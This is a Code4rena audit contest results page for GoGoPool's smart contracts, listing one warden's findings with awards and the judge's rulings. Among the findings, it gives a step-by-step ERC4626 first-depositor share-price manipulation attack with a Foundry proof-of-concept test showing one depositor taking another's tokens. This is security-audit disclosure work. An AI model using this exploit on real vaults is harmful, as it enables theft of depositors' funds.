Platform: Code4rena
Start Date: 15/12/2022
Pot Size: $128,000 USDC
Total HM: 28
Participants: 111
Period: 19 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 194
League: ETH
Rank: 39/111
Findings: 7
Award: $447.46
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xdeadbeef0x
Also found by: 0Kage, 0xc0ffEE, 0xmint, AkshaySrivastav, Allarious, Ch_301, Franfran, HollaDieWaldfee, IllIllI, Jeiwan, Lirios, Manboy, adriro, ak1, bin2chen, caventa, chaduke, clems4ever, cozzetti, datapunk, imare, immeas, kaliberpoziomka8552, ladboy233, pauliax, peritoflores, rvierdiiev, sces60107, sk8erboy, stealthyz, unforgiven, wagmi, wallstreetvilkas, yixxas
4.9672 USDC - $4.97
Judge has assessed an item in Issue #819 as M risk. The relevant finding follows:
Scenarios 3 & 4 are basically the same and valid. Duplicate of #569
#0 - c4-judge
2023-02-01T18:38:19Z
GalloDaSballo marked the issue as duplicate of #213
#1 - c4-judge
2023-02-01T18:38:28Z
GalloDaSballo marked the issue as partial-50
#2 - GalloDaSballo
2023-02-01T18:38:38Z
Awarding half due to lower quality / precision
#3 - c4-judge
2023-02-03T19:26:10Z
GalloDaSballo changed the severity to 3 (High Risk)
#4 - c4-judge
2023-02-08T08:26:45Z
GalloDaSballo changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-02-08T08:50:12Z
GalloDaSballo changed the severity to 3 (High Risk)
#6 - c4-judge
2023-02-09T08:53:06Z
This auto-generated issue was withdrawn by GalloDaSballo
#7 - Simon-Busch
2023-02-09T12:51:24Z
Changed severity back from QA to H as requested by @GalloDaSballo
🌟 Selected for report: 0xdeadbeef0x
Also found by: 0xLad, 0xNazgul, 0xSmartContract, 0xbepresent, Arbor-Finance, Breeje, HE1M, IllIllI, Qeew, Rolezn, SEVEN, SamGMK, SmartSek, TomJ, WatchDogs, ak1, btk, ck, datapunk, dic0de, eierina, fs0c, hansfriese, koxuan, ladboy233, peanuts, rvierdiiev, sces60107, tonisives, unforgiven, yongskiws
14.9051 USDC - $14.91
asset can be stolen from depositors in the vault by manipulating the price of a share.
ERC4626 vaults are subject to a share price manipulation attack that allows an attacker to steal underlying tokens from other depositors (this is a known issue of Solmate's ERC4626 implementation). Consider this scenario (this is applicable to ERC4626Upgradeable):
Alice is the first depositor of the vault; Alice deposits 1 wei of asset tokens; in the deposit function (ERC4626Upgradeable.sol#L44), the amount of shares is calculated using the previewDeposit function: function previewDeposit(uint256 assets) public view virtual returns (uint256) { return convertToShares(assets); }
function convertToShares(uint256 assets) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
} since Alice is the first depositor (totalSupply is 0), she gets 1 share (1 wei); Alice then sends 9999999999999999999 asset tokens (10e18 - 1) to the vault; the price of 1 share is 10 asset tokens now: Alice is the only depositor in the vault, she's holding 1 wei of shares, and the balance of the pool is 10 asset tokens;
The fact, that rewards are streamed in rears, mitigate the issue, as Alice needs to wait for 28 days, before the transferred asset is fully reflected in totalReleasedAssets
.
Now Bob deposits 19 asset tokens and gets only 1 share due to the rounding in the convertToShares function: 19e18 * 1 / 10e18 == 1; Alice redeems her share and gets a half of the deposited assets, 14.5 asset tokens (less the withdrawal fee); Bob redeems his share and gets only 14.5 asset (less the withdrawal fee), instead of the 19 asset he deposited.
// test/ERC20Upgradeable.t.sol function testSharePriceManipulation_AUDIT() external { address alice = address(0x31337); address bob = address(0x12345); vm.label(alice, "Alice"); vm.label(bob, "Bob"); wavax.mint(alice, 10e18); wavax.mint(bob, 19e18); vm.startPrank(alice); wavax.approve(address(ggAVAX), 1); // Alice deposits 1 wei of wavax and gets 1 wei of shares. ggAVAX.deposit(1, alice); // Alice sends 10e18-1 of wavax and sets the price of 1 wei of shares to 10e18 wavax. wavax.transfer(address(ggAVAX), 10e18-1); vm.stopPrank(); vm.warp(block.timestamp + 14 days); ggAVAX.syncRewards(); vm.warp(block.timestamp + 14 days); ggAVAX.syncRewards(); vm.startPrank(bob); wavax.approve(address(ggAVAX), 19e18); // Bob deposits 19e18 of wavax and gets 1 wei of shares due to rounding and the price manipulation. ggAVAX.deposit(19e18, bob); vm.stopPrank(); // Alice and Bob redeem their shares. vm.prank(alice); ggAVAX.redeem(1, alice, alice); vm.prank(bob); ggAVAX.redeem(1, bob, bob); // Alice and Bob both got 14.5 wavax. // But Alice deposited 10 wavax and Bob deposited 19 wavax – thus, Alice stole wavax tokens from Bob. // With withdrawal fees enabled, Alice would've been penalized more than Bob // (14.065 wavax vs 14.935 wavax tokens withdrawn, respectively), // but Alice would've still gotten more wavax that she deposited. assertEq(wavax.balanceOf(alice), 14.5e18); assertEq(wavax.balanceOf(bob), 14.5e18); }
Manual review
Consider either of these options:
#0 - c4-judge
2023-01-08T13:12:11Z
GalloDaSballo marked the issue as duplicate of #209
#1 - c4-judge
2023-01-29T18:38:53Z
GalloDaSballo changed the severity to 3 (High Risk)
#2 - c4-judge
2023-02-08T08:46:00Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: 0xbepresent
Also found by: 0Kage, Atarpara, Ch_301, Manboy, cozzetti, datapunk, immeas, kaliberpoziomka8552, peritoflores, rvierdiiev, sces60107, unforgiven, wagmi, yixxas
28.5997 USDC - $28.60
Judge has assessed an item in Issue #819 as M risk. The relevant finding follows:
If we are going with this specific impact, looks like scenario 2 is valid - but does depend on Rialto making that mistake, so would say that is Medium. This is a duplicate, the primary issue being #723
#0 - c4-judge
2023-02-01T18:37:49Z
GalloDaSballo marked the issue as duplicate of #723
#1 - c4-judge
2023-02-01T18:38:26Z
GalloDaSballo marked the issue as partial-50
#2 - GalloDaSballo
2023-02-01T18:38:35Z
Awarding half due to lower quality / precision
🌟 Selected for report: hansfriese
Also found by: 0Kage, 0xdeadbeef0x, Allarious, Aymen0909, Ch_301, Franfran, HollaDieWaldfee, Jeiwan, Nyx, RaymondFam, SmartSek, adriro, betweenETHlines, bin2chen, cccz, datapunk, immeas, kaliberpoziomka8552, peritoflores, wagmi
5.4282 USDC - $5.43
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L287 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L445 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L646
restake phantom avaxNodeOpAmt
withdrawMinipoolFunds()/cancelMinipoolByMultisig() transitions MinipoolStatus.Finished/Cancelled, but does not set ".avaxNodeOpAmt" and ".avaxNodeOpRewardAmt" to 0 requireValidStateTransition() allows the transition allows to go from Finished/Cancelled to Prelaunch, thus recreateMinipool() can be called, which will then use stakes that had been withdrawn.
In withdrawMinipoolFunds, set ".avaxNodeOpAmt" and ".avaxNodeOpRewardAmt" to 0.
#0 - c4-judge
2023-01-10T20:57:34Z
GalloDaSballo marked the issue as duplicate of #569
#1 - c4-judge
2023-01-31T13:23:01Z
GalloDaSballo marked the issue as duplicate of #213
#2 - c4-judge
2023-02-03T19:26:10Z
GalloDaSballo changed the severity to 3 (High Risk)
#3 - c4-judge
2023-02-08T08:20:50Z
GalloDaSballo marked the issue as not a duplicate
#4 - c4-judge
2023-02-08T08:20:59Z
GalloDaSballo marked the issue as duplicate of #569
#5 - c4-judge
2023-02-08T08:21:07Z
GalloDaSballo marked the issue as partial-50
#6 - c4-judge
2023-02-08T08:21:27Z
GalloDaSballo marked the issue as partial-25
#7 - GalloDaSballo
2023-02-08T08:21:28Z
Poor description, awarding 25%
#8 - c4-judge
2023-02-08T08:21:51Z
GalloDaSballo changed the severity to 2 (Med Risk)
#9 - c4-judge
2023-02-09T08:45:54Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#10 - Simon-Busch
2023-02-09T12:31:13Z
Changed severity back to M as requested by @GalloDaSballo
118.8832 USDC - $118.88
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L425 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L670 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Staking.sol#L382 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Vault.sol#L183
slash will fail if vault does not have enough ggp to cover calculated GGPSlashAmt
If vault does not have enough ggp to cover calculated GGPSlashAmt, slash will revert, as result, minipool will not receive any compensation for failed validators.
MinipoolManager calculates slashGGPAmt based on avaxLiquidStakerAmt, duration, ExpectedAVAXRewardsRate and most recent oracle.getGGPPriceInAVAX() value.
The minimum amount ggp required for Staking is determined by avaxLiquidStakerAmt, dao.getMinCollateralizationRatio(), and then oracle.getGGPPriceInAVAX().
There is nothing that guarantees that the former is greater than the latter, so a revert of vault.transferToken("ProtocolDAO", ggp, ggpAmt);
in slashGGP() is possible.
manual
When not enough, slash should just take whatever available in the vault from the owner.
#0 - c4-judge
2023-01-10T15:11:06Z
GalloDaSballo marked the issue as duplicate of #136
#1 - c4-judge
2023-01-10T15:11:11Z
GalloDaSballo marked the issue as partial-25
#2 - GalloDaSballo
2023-01-10T15:11:17Z
25% for lack of details, explanation, POC, etc..
#3 - c4-judge
2023-02-03T19:39:05Z
GalloDaSballo marked the issue as not a duplicate
#4 - c4-judge
2023-02-03T21:31:11Z
GalloDaSballo changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-02-03T21:31:30Z
GalloDaSballo marked the issue as duplicate of #494
#6 - GalloDaSballo
2023-02-03T21:31:50Z
The Warden showed the revert, so am awarding full for the Med dup, not the high finding
#7 - c4-judge
2023-02-08T08:47:05Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: 0xbepresent
Also found by: 0xbepresent, cccz, cozzetti, datapunk, hansfriese
246.0696 USDC - $246.07
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L480 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L152
If the system is allowed to transition into MinipoolStatus.Error state, after recordStakingStart() has been called, whatever staking reward that might have been accumulated will not be recoverable to the skater.
The comment for recordStakingError() says:
A staking error occured while registering the node as a validator
However, requireValidStateTransition() also allows the transition to MinipoolStatus.Error from MinipoolStatus.Staking after recordStakingStart() is called.
Once in Error state, the only next transitionable states are Finished or Prelaunch. In both cases, there are no ways for the recovery of any potential staking reward that might have been accumulated during the duration.
manual
Disable the transition from MinipoolStatus.Staking to MinipoolStatus.Error.
} else if (currentStatus == MinipoolStatus.Staking) { isValid = (to == MinipoolStatus.Withdrawable; }
#0 - emersoncloud
2023-01-20T17:23:26Z
#1 - c4-judge
2023-02-03T10:43:08Z
GalloDaSballo marked the issue as duplicate of #471
#2 - GalloDaSballo
2023-02-03T10:43:17Z
FSM Mistake is correct, but Impact is not
Awarding half
#3 - c4-judge
2023-02-03T10:43:23Z
GalloDaSballo marked the issue as partial-50
🌟 Selected for report: 0xbepresent
Also found by: 0xdeadbeef0x, Breeje, Franfran, IllIllI, Matin, Rolezn, SmartSek, btk, ck, datapunk, fs0c, nadin, rvierdiiev, unforgiven
28.5997 USDC - $28.60
Judge has assessed an item in Issue #836 as 2 risk. The relevant finding follows:
Underflow error when redeeming to 0 after minting some rewards
#0 - c4-judge
2023-02-03T19:18:07Z
GalloDaSballo marked the issue as duplicate of #317
#1 - c4-judge
2023-02-03T19:18:13Z
GalloDaSballo marked the issue as partial-50